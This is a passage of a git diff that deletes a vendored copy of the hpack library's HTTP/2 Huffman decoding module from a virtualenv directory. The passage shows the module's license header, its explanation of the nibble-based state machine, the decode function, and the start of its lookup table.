23, 23, 24, - 22, 21, 20, 22, 22, 23, 23, 21, 23, 22, 22, 24, 21, 22, 23, 23, - 21, 21, 22, 21, 23, 22, 23, 23, 20, 22, 22, 22, 23, 22, 22, 23, - 26, 26, 20, 19, 22, 23, 22, 25, 26, 26, 26, 27, 27, 26, 24, 25, - 19, 21, 26, 27, 27, 26, 27, 24, 21, 21, 26, 26, 28, 27, 27, 27, - 20, 24, 20, 21, 22, 21, 21, 23, 22, 22, 25, 25, 24, 24, 26, 23, - 26, 27, 26, 26, 27, 27, 27, 27, 27, 28, 27, 27, 27, 27, 27, 26, - 30, -] diff --git a/venv/Lib/site-packages/hpack/huffman_table.py b/venv/Lib/site-packages/hpack/huffman_table.py deleted file mode 100644 index 3083e92e5cea032f9e63ee2da22042ce34ecbea5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/huffman_table.py +++ /dev/null @@ -1,4741 +0,0 @@ -""" -Implementation of a Huffman decoding table for HTTP/2. - -This is essentially a Python port of the work originally done for nghttp2's -Huffman decoding. For this reason, while this file is made available under the -MIT license as is the rest of this module, this file is undoubtedly a -derivative work of the nghttp2 file ``nghttp2_hd_huffman_data.c``, obtained -from https://github.com/tatsuhiro-t/nghttp2/ at commit -d2b55ad1a245e1d1964579fa3fac36ebf3939e72. That work is made available under -the Apache 2.0 license under the following terms: - - Copyright (c) 2013 Tatsuhiro Tsujikawa - - Permission is hereby granted, free of charge, to any person obtaining - a copy of this software and associated documentation files (the - "Software"), to deal in the Software without restriction, including - without limitation the rights to use, copy, modify, merge, publish, - distribute, sublicense, and/or sell copies of the Software, and to - permit persons to whom the Software is furnished to do so, subject to - the following conditions: - - The above copyright notice and this permission notice shall be - included in all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, - EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF - MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND - NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE - LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION - OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION - WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -The essence of this approach is that it builds a finite state machine out of -4-bit nibbles of Huffman coded data. The input function passes 4 bits worth of -data to the state machine each time, which uses those 4 bits of data along with -the current accumulated state data to process the data given. - -For the sake of efficiency, the in-memory representation of the states, -transitions, and result values of the state machine are represented as a long -list containing three-tuples. This list is enormously long, and viewing it as -an in-memory representation is not very clear, but it is laid out here in a way -that is intended to be *somewhat* more clear. - -Essentially, the list is structured as 256 collections of 16 entries (one for -each nibble) of three-tuples. Each collection is called a "node", and the -zeroth collection is called the "root node". The state machine tracks one -value: the "state" byte. - -For each nibble passed to the state machine, it first multiplies the "state" -byte by 16 and adds the numerical value of the nibble. This number is the index -into the large flat list. - -The three-tuple that is found by looking up that index consists of three -values: - -- a new state value, used for subsequent decoding -- a collection of flags, used to determine whether data is emitted or whether - the state machine is complete. -- the byte value to emit, assuming that emitting a byte is required. - -The flags are consulted, if necessary a byte is emitted, and then the next -nibble is used. This continues until the state machine believes it has -completely Huffman-decoded the data. - -This approach has relatively little indirection, and therefore performs -relatively well, particularly on implementations like PyPy where the cost of -loops at the Python-level is not too expensive. The total number of loop -iterations is 4x the number of bytes passed to the decoder. -""" -from __future__ import annotations - -from .exceptions import HPACKDecodingError - - -# This defines the state machine "class" at the top of the file. The reason we -# do this is to keep the terrifing monster state table at the *bottom* of the -# file so you don't have to actually *look* at the damn thing. -def decode_huffman(huffman_string: bytes | bytearray | memoryview | None) -> bytes: - """ - Given a bytestring of Huffman-encoded data for HPACK, returns a bytestring - of the decompressed data. - """ - if not huffman_string: - return b"" - - state = 0 - flags = 0 - decoded_bytes = bytearray() - - # Perversely, bytearrays are a lot more convenient across Python 2 and - # Python 3 because they behave *the same way* on both platforms. Given that - # we really do want numerical bytes when we iterate here, let's use a - # bytearray. - huffman_string = bytearray(huffman_string) - - # This loop is unrolled somewhat. Because we use a nibble, not a byte, we - # need to handle each nibble twice. We unroll that: it makes the loop body - # a bit longer, but that's ok. - for input_byte in huffman_string: - index = (state * 16) + (input_byte >> 4) - state, flags, output_byte = HUFFMAN_TABLE[index] - - if flags & HUFFMAN_FAIL: - msg = "Invalid Huffman string" - raise HPACKDecodingError(msg) - - if flags & HUFFMAN_EMIT_SYMBOL: - decoded_bytes.append(output_byte) - - index = (state * 16) + (input_byte & 0x0F) - state, flags, output_byte = HUFFMAN_TABLE[index] - - if flags & HUFFMAN_FAIL: - msg = "Invalid Huffman string" - raise HPACKDecodingError(msg) - - if flags & HUFFMAN_EMIT_SYMBOL: - decoded_bytes.append(output_byte) - - if not (flags & HUFFMAN_COMPLETE): - msg = "Incomplete Huffman string" - raise HPACKDecodingError(msg) - - return bytes(decoded_bytes) - - -# Some decoder flags to control state transitions. -HUFFMAN_COMPLETE = 1 -HUFFMAN_EMIT_SYMBOL = (1 << 1) -HUFFMAN_FAIL = (1 << 2) - -# This is the monster table. Avert your eyes, children. -HUFFMAN_TABLE = [ - # Node 0 (Root Node, never emits symbols.) - (4, 0, 0), - (5, 0, 0), - (7, 0, 0), - (8, 0, 0), - (11, 0, 0), - (12, 0, 0), - (16, 0, 0), - (19, 0, 0), - (25, 0, 0), - (28, 0, 0), - (32, 0, 0), - (35, 0, 0), - (42, 0, 0), - (49, 0, 0), - (57, 0, 0), - (64, HUFFMAN_COMPLETE, 0), - - # Node 1 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 48), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 49), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 50), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 97), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 99), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 101), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 105), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 111), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 115), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 116), - (13, 0, 0), - (14, 0, 0), - (17, 0, 0), - (18, 0, 0), - (20, 0, 0), - (21, 0, 0), - - # Node 2 - (1, HUFFMAN_EMIT_SYMBOL, 48), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 48), - (1, HUFFMAN_EMIT_SYMBOL, 49), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 49), - (1, HUFFMAN_EMIT_SYMBOL, 50), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 50), - (1, HUFFMAN_EMIT_SYMBOL, 97), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 97), - (1, HUFFMAN_EMIT_SYMBOL, 99), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 99), - (1, HUFFMAN_EMIT_SYMBOL, 101), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 101), - (1, HUFFMAN_EMIT_SYMBOL, 105), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 105), - (1, HUFFMAN_EMIT_SYMBOL, 111), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 111), - - # Node 3 - (2, HUFFMAN_EMIT_SYMBOL, 48), - (9, HUFFMAN_EMIT_SYMBOL, 48), - (23, HUFFMAN_EMIT_SYMBOL, 48), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 48), - (2, HUFFMAN_EMIT_SYMBOL, 49), - (9, HUFFMAN_EMIT_SYMBOL, 49), - (23, HUFFMAN_EMIT_SYMBOL, 49), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 49), - (2, HUFFMAN_EMIT_SYMBOL, 50), - (9, HUFFMAN_EMIT_SYMBOL, 50), - (23, HUFFMAN_EMIT_SYMBOL, 50), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 50), - (2, HUFFMAN_EMIT_SYMBOL, 97), - (9, HUFFMAN_EMIT_SYMBOL, 97), - (23, HUFFMAN_EMIT_SYMBOL, 97), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 97), - - # Node 4 - (3, HUFFMAN_EMIT_SYMBOL, 48), - (6, HUFFMAN_EMIT_SYMBOL, 48), - (10, HUFFMAN_EMIT_SYMBOL, 48), - (15, HUFFMAN_EMIT_SYMBOL, 48), - (24, HUFFMAN_EMIT_SYMBOL, 48), - (31, HUFFMAN_EMIT_SYMBOL, 48), - (41, HUFFMAN_EMIT_SYMBOL, 48), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 48), - (3, HUFFMAN_EMIT_SYMBOL, 49), - (6, HUFFMAN_EMIT_SYMBOL, 49), - (10, HUFFMAN_EMIT_SYMBOL, 49), - (15, HUFFMAN_EMIT_SYMBOL, 49), - (24, HUFFMAN_EMIT_SYMBOL, 49), - (31, HUFFMAN_EMIT_SYMBOL, 49), - (41, HUFFMAN_EMIT_SYMBOL, 49), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 49), - - # Node 5 - (3, HUFFMAN_EMIT_SYMBOL, 50), - (6, HUFFMAN_EMIT_SYMBOL, 50), - (10, HUFFMAN_EMIT_SYMBOL, 50), - (15, HUFFMAN_EMIT_SYMBOL, 50), - (24, HUFFMAN_EMIT_SYMBOL, 50), - (31, HUFFMAN_EMIT_SYMBOL, 50), - (41, HUFFMAN_EMIT_SYMBOL, 50), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 50), - (3, HUFFMAN_EMIT_SYMBOL, 97), - (6, HUFFMAN_EMIT_SYMBOL, 97), - (10, HUFFMAN_EMIT_SYMBOL, 97), - (15, HUFFMAN_EMIT_SYMBOL, 97), - (24, HUFFMAN_EMIT_SYMBOL, 97), - (31, HUFFMAN_EMIT_SYMBOL, 97), - (41, HUFFMAN_EMIT_SYMBOL, 97), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 97), - - # Node 6 - (2, HUFFMAN_EMIT_SYMBOL, 99), - (9, HUFFMAN_EMIT_SYMBOL, 99), - (23, HUFFMAN_EMIT_SYMBOL, 99), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 99), - (2, HUFFMAN_EMIT_SYMBOL, 101), - (9, HUFFMAN_EMIT_SYMBOL, 101), - (23, HUFFMAN_EMIT_SYMBOL, 101), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 101), - (2, HUFFMAN_EMIT_SYMBOL, 105), - (9, HUFFMAN_EMIT_SYMBOL, 105), - (23, HUFFMAN_EMIT_SYMBOL, 105), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 105), - (2, HUFFMAN_EMIT_SYMBOL, 111), - (9, HUFFMAN_EMIT_SYMBOL, 111), - (23, HUFFMAN_EMIT_SYMBOL, 111), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 111), - - # Node 7 - (3, HUFFMAN_EMIT_SYMBOL, 99), - (6, HUFFMAN_EMIT_SYMBOL, 99), - (10, HUFFMAN_EMIT_SYMBOL, 99), - (15, HUFFMAN_EMIT_SYMBOL, 99), - (24, HUFFMAN_EMIT_SYMBOL, 99), - (31, HUFFMAN_EMIT_SYMBOL, 99), - (41, HUFFMAN_EMIT_SYMBOL, 99), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 99), - (3, HUFFMAN_EMIT_SYMBOL, 101), - (6, HUFFMAN_EMIT_SYMBOL, 101), - (10, HUFFMAN_EMIT_SYMBOL, 101), - (15, HUFFMAN_EMIT_SYMBOL, 101), - (24, HUFFMAN_EMIT_SYMBOL, 101), - (31, HUFFMAN_EMIT_SYMBOL, 101), - (41, HUFFMAN_EMIT_SYMBOL, 101), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 101), - - # Node 8 - (3, HUFFMAN_EMIT_SYMBOL, 105), - (6, HUFFMAN_EMIT_SYMBOL, 105), - (10, HUFFMAN_EMIT_SYMBOL, 105), - (15, HUFFMAN_EMIT_SYMBOL, 105), - (24, HUFFMAN_EMIT_SYMBOL, 105), - (31, HUFFMAN_EMIT_SYMBOL, 105), - (41, HUFFMAN_EMIT_SYMBOL, 105), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 105), - (3, HUFFMAN_EMIT_SYMBOL, 111), - (6, HUFFMAN_EMIT_SYMBOL, 111), - (10, HUFFMAN_EMIT_SYMBOL, 111), - (15, HUFFMAN_EMIT_SYMBOL, 111), - (24, HUFFMAN_EMIT_SYMBOL, 111), - (31, HUFFMAN_EMIT_SYMBOL, 111), - (41, HUFFMAN_EMIT_SYMBOL, 111), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 111), - - # Node 9 - (1, HUFFMAN_EMIT_SYMBOL, 115), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 115), - (1, HUFFMAN_EMIT_SYMBOL, 116), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 116), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 32), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 37), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 45), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 46), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 47), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 51), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 52), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 53), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 54), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 55), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 56), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 57), - - # Node 10 - (2, HUFFMAN_EMIT_SYMBOL, 115), - (9, HUFFMAN_EMIT_SYMBOL, 115), - (23, HUFFMAN_EMIT_SYMBOL, 115), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 115), - (2, HUFFMAN_EMIT_SYMBOL, 116), - (9, HUFFMAN_EMIT_SYMBOL, 116), - (23, HUFFMAN_EMIT_SYMBOL, 116), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 116), - (1, HUFFMAN_EMIT_SYMBOL, 32), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 32), - (1, HUFFMAN_EMIT_SYMBOL, 37), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 37), - (1, HUFFMAN_EMIT_SYMBOL, 45), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 45), - (1, HUFFMAN_EMIT_SYMBOL, 46), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 46), - - # Node 11 - (3, HUFFMAN_EMIT_SYMBOL, 115), - (6, HUFFMAN_EMIT_SYMBOL, 115), - (10, HUFFMAN_EMIT_SYMBOL, 115), - (15, HUFFMAN_EMIT_SYMBOL, 115), - (24, HUFFMAN_EMIT_SYMBOL, 115), - (31, HUFFMAN_EMIT_SYMBOL, 115), - (41, HUFFMAN_EMIT_SYMBOL, 115), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 115), - (3, HUFFMAN_EMIT_SYMBOL, 116), - (6, HUFFMAN_EMIT_SYMBOL, 116), - (10, HUFFMAN_EMIT_SYMBOL, 116), - (15, HUFFMAN_EMIT_SYMBOL, 116), - (24, HUFFMAN_EMIT_SYMBOL, 116), - (31, HUFFMAN_EMIT_SYMBOL, 116), - (41, HUFFMAN_EMIT_SYMBOL, 116), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 116), - - # Node 12 - (2, HUFFMAN_EMIT_SYMBOL, 32), - (9, HUFFMAN_EMIT_SYMBOL, 32), - (23, HUFFMAN_EMIT_SYMBOL, 32), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 32), - (2, HUFFMAN_EMIT_SYMBOL, 37), - (9, HUFFMAN_EMIT_SYMBOL, 37), - (23, HUFFMAN_EMIT_SYMBOL, 37), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 37), - (2, HUFFMAN_EMIT_SYMBOL, 45), - (9, HUFFMAN_EMIT_SYMBOL, 45), - (23, HUFFMAN_EMIT_SYMBOL, 45), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 45), - (2, HUFFMAN_EMIT_SYMBOL, 46), - (9, HUFFMAN_EMIT_SYMBOL, 46), - (23, HUFFMAN_EMIT_SYMBOL, 46), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 46), - - # Node 13 - (3, HUFFMAN_EMIT_SYMBOL, 32), - (6, HUFFMAN_EMIT_SYMBOL, 32), - (10, HUFFMAN_EMIT_SYMBOL, 32), - (15, HUFFMAN_EMIT_SYMBOL, 32), - (24, HUFFMAN_EMIT_SYMBOL, 32), - (31, HUFFMAN_EMIT_SYMBOL, 32), - (41, HUFFMAN_EMIT_SYMBOL, 32), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 32), - (3, HUFFMAN_EMIT_SYMBOL, 37), - (6, HUFFMAN_EMIT_SYMBOL, 37), - (10, HUFFMAN_EMIT_SYMBOL, 37), - (15, HUFFMAN_EMIT_SYMBOL, 37), - (24, HUFFMAN_EMIT_SYMBOL, 37), - (31, HUFFMAN_EMIT_SYMBOL, 37), - (41, HUFFMAN_EMIT_SYMBOL, 37), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 37), - - # Node 14 - (3, HUFFMAN_EMIT_SYMBOL, 45), - (6, HUFFMAN_EMIT_SYMBOL, 45), - (10, HUFFMAN_EMIT_SYMBOL, 45), - (15, HUFFMAN_EMIT_SYMBOL, 45), - (24, HUFFMAN_EMIT_SYMBOL, 45), - (31, HUFFMAN_EMIT_SYMBOL, 45), - (41, HUFFMAN_EMIT_SYMBOL, 45), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 45), - (3, HUFFMAN_EMIT_SYMBOL, 46), - (6, HUFFMAN_EMIT_SYMBOL, 46), - (10, HUFFMAN_EMIT_SYMBOL, 46), - (15, HUFFMAN_EMIT_SYMBOL, 46), - (24, HUFFMAN_EMIT_SYMBOL, 46), - (31, HUFFMAN_EMIT_SYMBOL, 46), - (41, HUFFMAN_EMIT_SYMBOL, 46), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 46), - - # Node 15 - (1, HUFFMAN_EMIT_SYMBOL, 47), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 47), - (1, HUFFMAN_EMIT_SYMBOL, 51), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 51), - (1, HUFFMAN_EMIT_SYMBOL, 52), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 52), - (1, HUFFMAN_EMIT_SYMBOL, 53), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 53), - (1, HUFFMAN_EMIT_SYMBOL, 54), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 54), - (1, HUFFMAN_EMIT_SYMBOL, 55), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 55), - (1, HUFFMAN_EMIT_SYMBOL, 56), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 56), - (1, HUFFMAN_EMIT_SYMBOL, 57), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 57), - - # Node 16 - (2, HUFFMAN_EMIT_SYMBOL, 47), - (9, HUFFMAN_EMIT_SYMBOL, 47), - (23, HUFFMAN_EMIT_SYMBOL, 47), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 47), - (2, HUFFMAN_EMIT_SYMBOL, 51), - (9, HUFFMAN_EMIT_SYMBOL, 51), - (23, HUFFMAN_EMIT_SYMBOL, 51), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 51), - (2, HUFFMAN_EMIT_SYMBOL, 52), - (9, HUFFMAN_EMIT_SYMBOL, 52), - (23, HUFFMAN_EMIT_SYMBOL, 52), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 52), - (2, HUFFMAN_EMIT_SYMBOL, 53), - (9, HUFFMAN_EMIT_SYMBOL, 53), - (23, HUFFMAN_EMIT_SYMBOL, 53), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 53), - - # Node 17 - (3, HUFFMAN_EMIT_SYMBOL, 47), - (6, HUFFMAN_EMIT_SYMBOL, 47), - (10, HUFFMAN_EMIT_SYMBOL, 47), - (15, HUFFMAN_EMIT_SYMBOL, 47), - (24, HUFFMAN_EMIT_SYMBOL, 47), - (31, HUFFMAN_EMIT_SYMBOL, 47), - (41, HUFFMAN_EMIT_SYMBOL, 47), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 47), - (3, HUFFMAN_EMIT_SYMBOL, 51), - (6, HUFFMAN_EMIT_SYMBOL, 51), - (10, HUFFMAN_EMIT_SYMBOL, 51), - (15, HUFFMAN_EMIT_SYMBOL, 51), - (24, HUFFMAN_EMIT_SYMBOL, 51), - (31, HUFFMAN_EMIT_SYMBOL, 51), - (41, HUFFMAN_EMIT_SYMBOL, 51), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 51), - - # Node 18 - (3, HUFFMAN_EMIT_SYMBOL, 52), - (6, HUFFMAN_EMIT_SYMBOL, 52), - (10, HUFFMAN_EMIT_SYMBOL, 52), - (15, HUFFMAN_EMIT_SYMBOL, 52), - (24, HUFFMAN_EMIT_SYMBOL, 52), - (31, HUFFMAN_EMIT_SYMBOL, 52), - (41, HUFFMAN_EMIT_SYMBOL, 52), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 52), - (3, HUFFMAN_EMIT_SYMBOL, 53), - (6, HUFFMAN_EMIT_SYMBOL, 53), - (10, HUFFMAN_EMIT_SYMBOL, 53), - (15, HUFFMAN_EMIT_SYMBOL, 53), - (24, HUFFMAN_EMIT_SYMBOL, 53), - (31, HUFFMAN_EMIT_SYMBOL, 53), - (41, HUFFMAN_EMIT_SYMBOL, 53), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 53), - - # Node 19 - (2, HUFFMAN_EMIT_SYMBOL, 54), - (9, HUFFMAN_EMIT_SYMBOL, 54), - (23, HUFFMAN_EMIT_SYMBOL, 54), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 54), - (2, HUFFMAN_EMIT_SYMBOL, 55), - (9, HUFFMAN_EMIT_SYMBOL, 55), - (23, HUFFMAN_EMIT_SYMBOL, 55), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 55), - (2, HUFFMAN_EMIT_SYMBOL, 56), - (9, HUFFMAN_EMIT_SYMBOL, 56), - (23, HUFFMAN_EMIT_SYMBOL, 56), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 56), - (2, HUFFMAN_EMIT_SYMBOL, 57), - (9, HUFFMAN_EMIT_SYMBOL, 57), - (23, HUFFMAN_EMIT_SYMBOL, 57), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 57), - - # Node 20 - (3, HUFFMAN_EMIT_SYMBOL, 54), - (6, HUFFMAN_EMIT_SYMBOL, 54), - (10, HUFFMAN_EMIT_SYMBOL, 54), - (15, HUFFMAN_EMIT_SYMBOL, 54), - (24, HUFFMAN_EMIT_SYMBOL, 54), - (31, HUFFMAN_EMIT_SYMBOL, 54), - (41, HUFFMAN_EMIT_SYMBOL, 54), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 54), - (3, HUFFMAN_EMIT_SYMBOL, 55), - (6, HUFFMAN_EMIT_SYMBOL, 55), - (10, HUFFMAN_EMIT_SYMBOL, 55), - (15, HUFFMAN_EMIT_SYMBOL, 55), - (24, HUFFMAN_EMIT_SYMBOL, 55), - (31, HUFFMAN_EMIT_SYMBOL, 55), - (41, HUFFMAN_EMIT_SYMBOL, 55), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 55), - - # Node 21 - (3, HUFFMAN_EMIT_SYMBOL, 56), - (6, HUFFMAN_EMIT_SYMBOL, 56), - (10, HUFFMAN_EMIT_SYMBOL, 56), - (15, HUFFMAN_EMIT_SYMBOL, 56), - (24, HUFFMAN_EMIT_SYMBOL, 56), - (31, HUFFMAN_EMIT_SYMBOL, 56), - (41, HUFFMAN_EMIT_SYMBOL, 56), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 56), - (3, HUFFMAN_EMIT_SYMBOL, 57), - (6, HUFFMAN_EMIT_SYMBOL, 57), - (10, HUFFMAN_EMIT_SYMBOL, 57), - (15, HUFFMAN_EMIT_SYMBOL, 57), - (24, HUFFMAN_EMIT_SYMBOL, 57), - (31, HUFFMAN_EMIT_SYMBOL, 57), - (41, HUFFMAN_EMIT_SYMBOL, 57), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 57), - - # Node 22 - (26, 0, 0), - (27, 0, 0), - (29, 0, 0), - (30, 0, 0), - (33, 0, 0), - (34, 0, 0), - (36, 0, 0), - (37, 0, 0), - (43, 0, 0), - (46, 0, 0), - (50, 0, 0), - (53, 0, 0), - (58, 0, 0), - (61, 0, 0), - (65, 0, 0), - (68, HUFFMAN_COMPLETE, 0), - - # Node 23 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 61), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 65), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 95), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 98), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 100), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 102), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 103), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 104), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 108), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 109), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 110), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 112), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 114), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 117), - (38, 0, 0), - (39, 0, 0), - - # Node 24 - (1, HUFFMAN_EMIT_SYMBOL, 61), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 61), - (1, HUFFMAN_EMIT_SYMBOL, 65), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 65), - (1, HUFFMAN_EMIT_SYMBOL, 95), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 95), - (1, HUFFMAN_EMIT_SYMBOL, 98), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 98), - (1, HUFFMAN_EMIT_SYMBOL, 100), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 100), - (1, HUFFMAN_EMIT_SYMBOL, 102), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 102), - (1, HUFFMAN_EMIT_SYMBOL, 103), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 103), - (1, HUFFMAN_EMIT_SYMBOL, 104), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 104), - - # Node 25 - (2, HUFFMAN_EMIT_SYMBOL, 61), - (9, HUFFMAN_EMIT_SYMBOL, 61), - (23, HUFFMAN_EMIT_SYMBOL, 61), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 61), - (2, HUFFMAN_EMIT_SYMBOL, 65), - (9, HUFFMAN_EMIT_SYMBOL, 65), - (23, HUFFMAN_EMIT_SYMBOL, 65), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 65), - (2, HUFFMAN_EMIT_SYMBOL, 95), - (9, HUFFMAN_EMIT_SYMBOL, 95), - (23, 